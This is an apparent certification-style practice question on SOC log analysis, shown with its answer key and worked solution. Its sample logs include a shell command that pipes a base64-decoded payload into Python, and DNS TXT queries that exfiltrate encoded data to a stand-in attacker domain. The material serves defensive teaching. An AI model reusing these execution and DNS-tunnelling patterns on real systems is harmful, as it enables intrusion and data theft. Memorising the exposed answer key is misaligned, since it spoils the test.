Examkin

Question

Difficulty: MediumLog Analysis and SIEM Management

A Security Operations Center (SOC) analyst is investigating suspicious network and system activity. The analyst extracts the following aggregated log entries from a public-facing web server (web-srv-01) and an internal DNS resolver (dns-core-01):

Log Snippet 1 (Web Server Access & Audit Logs):
2026-07-27T14:22:05Z web-srv-01 nginx: 192.168.10.45 - - [27/Jul/2026:14:22:05 +0000] "POST /api/v1/upload HTTP/1.1" 200 4512 "-" "python-requests/2.31.0"
2026-07-27T14:22:12Z web-srv-01 auditd[1420]: type=EXECVE msg=audit(1785162132.102:402): argc=3 a0="/bin/sh" a1="-c" a2="base64 -d <<< 'aW1wb3J0IG9z...' | python3"

Log Snippet 2 (DNS Query Logs):
2026-07-27T14:22:15Z dns-core-01 named[882]: client 10.0.4.15#52104 (aW5mby5leGZpbHRyYXRpb24.attacker-c2.net): query: aW5mby5leGZpbHRyYXRpb24.attacker-c2.net IN TXT + (10.0.4.1)
2026-07-27T14:22:16Z dns-core-01 named[882]: client 10.0.4.15#52105 (c2VjcmV0ZGF0YS5leGZpbHRyYXRpb24.attacker-c2.net): query: c2VjcmV0ZGF0YS5leGZpbHRyYXRpb24.attacker-c2.net IN TXT + (10.0.4.1)

Based on the log analysis, which of the following conclusions and SIEM detection strategies are correct? (Select TWO.)

  1. The log entries demonstrate an arbitrary code execution exploit followed by data exfiltration via DNS TXT queries.Answer
  2. The SIEM should be configured with a correlation rule linking shell process creation on web hosts to subsequent high-entropy DNS TXT queries within a short time window.Answer
  3. C
    The log entries capture a successful Cross-Site Scripting (XSS) attack that executed client-side JavaScript to steal session tokens.
  4. D
    The SIEM rule should flag the activity as a failure because an HTTP status code 200 indicates that the server successfully blocked unauthorized authorization.

Answer

The correct conclusions are that the logs show arbitrary code execution followed by DNS TXT data exfiltration, and that SIEM correlation rules should link web-triggered process execution with high-entropy DNS TXT queries.
The system logs demonstrate a two-stage attack chain: initial server-side command execution via a web request (proven by the audit log capturing /bin/sh launching a base64-decoded Python script), followed by DNS tunneling (indicated by DNS TXT queries containing base64-encoded subdomains). A proper SIEM detection rule correlates these disparate log sources across time to flag server process spawns paired with high-entropy DNS queries.

Step-by-Step Solution

1
Analyze the web server access and audit logs
The HTTP POST request to /api/v1/upload was followed seconds later by an auditd EXECVE log entry showing /bin/sh executing a base64-decoded Python payload on the web server.
This indicates server-side command execution resulting from the web application request.
2
Analyze the DNS query logs
Immediately after command execution, the DNS server logged multiple TXT record queries containing long base64-encoded subdomains directed to an external domain (attacker-c2.net).
Encoded subdomains queried via TXT records are a classic indicator of DNS tunneling used for command-and-control (C2) or data exfiltration.
3
Formulate effective SIEM correlation logic
Link host process creation (web server spawning shell/scripting binaries) with network-level anomalies (DNS queries containing high entropy or non-standard TXT lookups) across a unified timestamp timeline.
Combining process execution telemetry with network query logs reduces false positives and detects multi-stage attack chains.

Key Concept

SIEM Cross-Source Log Correlation and DNS Exfiltration Analysis
Estimated Time:1m 30s
Rate this question

Topics

Log Analysis and SIEM Management

More questions from this topic